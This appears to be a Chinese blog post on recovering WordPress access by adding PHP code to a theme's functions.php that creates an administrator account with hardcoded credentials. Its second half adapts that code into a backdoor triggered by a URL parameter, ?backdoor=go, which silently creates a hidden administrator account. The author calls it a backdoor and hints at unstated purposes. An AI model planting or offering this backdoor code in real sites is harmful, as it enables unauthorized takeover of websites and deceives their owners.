之前“找回 WordPress 登录密码”文章提供的找回登录密码方法有一个局限性,就是如果连登录名和邮件地址也忘了(该找医生看看了),还是无法解决,这里再提供一个方法。
可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个管理员账号:
- // 新建一个管理账号
- $user_email = '123@123.com';
- $user_password = '123456';
- if ( !username_exists( $user_email ) ) {
- $user_id = wp_create_user( $user_email, $user_password, $user_email );
- wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
- $user = new WP_User( $user_id );
- $user->set_role( 'administrator' );
- wp_die( '添加用户成功!' );
- } else {
- wp_die( '该用户已经存在,用后请移除本代码!' );
- }
修改其中的邮件地址和密码
- $user_email = '123@123.com';
- $user_password = '123456';
刷新页面会提示:该用户已经存在,用后请移除本代码!,说明用户已添加成功,将添加的代码移除,覆盖还原。
登录新建的管理员账号,修改原来账号的密码或者直接删除原来的账号。
这段代码还有一个不可告人的功能,稍微改一下,变成后门!双刃剑看怎么用了。
- if ($_GET['backdoor'] == 'go') {
- $user_email = '123@123.com';
- $user_password = '123456';
- if ( !username_exists( $user_email ) ) {
- $user_id = wp_create_user( $user_email, $user_password, $user_email );
- wp_update_user( array( 'ID' => $user_id, 'nickname' => $user_email ) );
- $user = new WP_User( $user_id );
- $user->set_role( 'administrator' );
- wp_die( '添加用户成功!' );
- } else {
- wp_die( '该用户已经存在,用后请移除本代码!' );
- }
- }
只有打开一个特定的链接,比如:
example.com/?backdoor=go
才会运行这段代码,并新建管理账号,至于目的是什么,自己想像吧。
继续阅读
KM张3Phone
我的微信
微信扫一扫
评论